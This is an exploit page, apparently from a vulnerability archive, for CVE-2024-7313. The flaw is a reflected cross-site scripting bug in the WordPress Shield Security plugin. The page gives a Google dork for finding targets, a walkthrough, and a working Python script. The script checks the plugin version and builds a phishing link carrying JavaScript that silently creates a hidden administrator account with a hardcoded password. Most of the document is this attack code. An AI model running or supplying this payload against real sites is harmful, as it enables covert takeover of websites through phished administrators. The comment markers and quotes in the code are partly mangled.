Headline
WordPress Shield Security 20.0.5 Cross Site Scripting
WordPress Shield Security plugin versions 20.0.5 and below cross site scripting exploit that adds an administrative user.
Exploit Title: CVE-2024-7313 - Reflected XSS to Unauthorised Administrator Account Creation
Google Dork: inurl:"/wp-content/plugins/wp-simple-firewall/" (Cannot find version numbers from this DORK)
Date: 16/08/2024
Exploit Author: Tim Lepp
Vendor Homepage: https://getshieldsecurity.com/
Software Link: https://wordpress.org/plugins/wp-simple-firewall/advanced/ (Version <= 20.0.5)
Version: <20.0.6
Tested on: Ubuntu
CVE : CVE-2024-7313
How It Works
- The script first checks if the target WordPress installation is using a vulnerable version of the Shield Security plugin by examining the response from the wp-login.php page.
- If the plugin version is vulnerable, it proceeds to generate a reflected XSS payload that, when executed, will create a new admin user with a hardcoded password as WordPress wont accept weak passwords without user intervention.
- The payload is created to first use a GET request to dynamically find the WordPress nonce used for account creation, then use that nonce to submit a POST request to the user creation endpoint with the details of the new user given in the script.
The payload is then URL-encoded and displayed for use in the attack.
Once sent to an administrator of the site and the link is clicked, a new Administrator user will be created on the site with the details parsed by the script. This is all done in the background, with the phished administrator being redirected to the Shield Security dashboard with no clue of the exploit in the background.
Reference
https://research.cleantalk.org/cve-2024-7313/
Found also at https://github.com/Wayne-Ker/CVE-2024-7313/tree/main
— code —
import sys
import urllib.parse
import requests
from bs4 import BeautifulSoup
Color codes for terminal output
red = ‘\033[91m’
green = ‘\033[92m’
yellow = ‘\033[93m’
blue = ‘\033[96m’
purple = ‘\033[95m’
reset = ‘\033[0m’
Banner and vulnerability information - Displayed at the start of the script
def print_banner():
print(f"""{red}
#############################################################################
______ _______ ____ ___ ____ _ _ _____ _____ _ _____
/ \ \ / | ____| | \ / _ |___ | || | |___ |___ // |___ /
| | \ \ / /| | _____ ) | | | |) | || | _____ / / |_ | | |_ \
| |___ \ V / | |__|_____/ _/| || / /| _|_____/ / ) | |) |
_| _/ |_____| |_____|_|_____| || // |____/||____/
Shield Security Plugin Vulnerability (CVE-2024-7313)
Reflected XSS in WordPress Shield Security Plugin
Versions Affected: < 20.0.6
Risk: High
Discovered by: Wayne-Kerr
Published: August 7, 2024
#############################################################################
{reset}""")
Help menu - Provides instructions when '-h’ or ‘–help’ is used
def print_help():
print(f"""{yellow}
Usage: python3 exploit.py <target_url>
Example:
python3 exploit.py http://example.com
Options:
-h, --help Show this help message and exit
{reset}""")
Format the target URL - Ensures the URL starts with “http://” or “https://”
def format_target_url(target_url):
if target_url.startswith(“http://”) or target_url.startswith(“https://”):
return target_url
else:
return f"http://{target_url}"
Check if the target is vulnerable by accessing the wp-login.php page
def check_vulnerability(target_url):
try:
response = requests.get(f"{target_url}/wp-login.php")
if response.status_code == 200:
# Try to extract version information from the response
version_info = response.text.split(“ver=”)[-1].split(“"”)[0]
version = version_info.split(“.”)
major_version = int(version[0])
minor_version = int(version[1])
patch_version = int(version[2].split(‘&’)[0])
# Check if the version is below 20.0.6
if major_version < 20 or (major_version == 20 and minor_version == 0 and patch_version < 6):
print(f"{green}Shield Security version is vulnerable. Let's continue.{reset}")
return True
else:
print(f"{yellow}Version not vulnerable.{reset}")
return False
else:
print(f"{red}Failed to retrieve the version information.{reset}")
return False
except Exception as e:
print(f"{red}Error occurred while checking vulnerability: {e}{reset}")
return False
Generate the XSS payload URL that exploits the vulnerability
def generate_xss_payload(target_url, username, email, first_name, last_name):
# Hardcoded password for the new admin account to be created
hardcoded_password = “HaxorStrongAFPassword123!!”
# The payload template for the XSS attack
payload_template = (
"var xhrNonce = new XMLHttpRequest(); "
"xhrNonce.open('GET', '/wp-admin/user-new.php', true); "
"xhrNonce.onload = function() {{ "
"if (xhrNonce.status === 200) {{ "
"var nonce = xhrNonce.responseText.match(/name=\"_wpnonce_create-user\" value=\"([a-zA-Z0-9]+)\"/)[1]; "
"var xhr = new XMLHttpRequest(); "
"xhr.open('POST', '/wp-admin/user-new.php', true); "
"xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); "
"xhr.setRequestHeader('Referer', '{target}/wp-admin/user-new.php'); "
"xhr.setRequestHeader('Origin', '{target}'); "
"var params = 'action=createuser&_wpnonce_create-user=' + nonce + "
"'&_wp_http_referer=%2Fwp-admin%2Fuser-new.php"
"&user_login={username}&email={email}"
"&first_name={first_name}&last_name={last_name}&url=test"
"&pass1={password}&pass2={password}&role=administrator"
"&createuser=Add+New+User'; "
"xhr.send(params); "
"xhr.onload = function() {{ "
"if (xhr.status == 200) {{ "
"console.log('Admin user created successfully'); "
"window.location.href = '{target}/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=overview'; "
"}} else {{ console.log('Error occurred: ' + xhr.statusText); }} "
"}}; "
"}} else {{ console.log('Error fetching nonce: ' + xhrNonce.statusText); }} }}; "
"xhrNonce.send();"
)
# Formatting the payload with the provided details
payload = payload_template.format(
target=target_url,
username=username,
email=urllib.parse.quote(email),
first_name=first_name,
last_name=last_name,
password=urllib.parse.quote(hardcoded_password)
)
# URL encode the payload and generate the full URL for the XSS attack
encoded_payload = urllib.parse.quote(f"<script>{payload}</script>")
full_url = f"{target_url}/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub={encoded_payload}"
return full_url
if name == "main":
try:
# Print the banner
print_banner()
# Check for help menu flag and print help if necessary
if len(sys.argv) != 2 or sys.argv[1] in ['-h', '--help']:
print_help()
sys.exit(0)
# Get the target URL from the command-line argument
raw_target_url = sys.argv[1]
target_url = format_target_url(raw_target_url)
# Check if the target is vulnerable
if not check_vulnerability(target_url):
sys.exit(1)
# Get user input for the new admin account details
username = input(f"{blue}Enter username: {reset}")
email = input(f"{blue}Enter email: {reset}")
first_name = input(f"{blue}Enter first name: {reset}")
last_name = input(f"{blue}Enter last name: {reset}")
# Display the hardcoded password
hardcoded_password = "HaxorStrongAFPassword123!!"
print(f"\n{yellow}Using hardcoded password: {hardcoded_password}{reset}")
# Generate and display the XSS payload URL
xss_payload_url = generate_xss_payload(target_url, username, email, first_name, last_name)
print(f"\n{green}Generated XSS Payload URL: {xss_payload_url}{reset}")
# Handle keyboard interruption
except KeyboardInterrupt:
print(f"\n{red}Script interrupted by user.{reset}")
sys.exit(1)
# Catch any other exceptions and display an error message
except Exception as e:
print(f"{red}An error occurred: {e}{reset}")
sys.exit(1)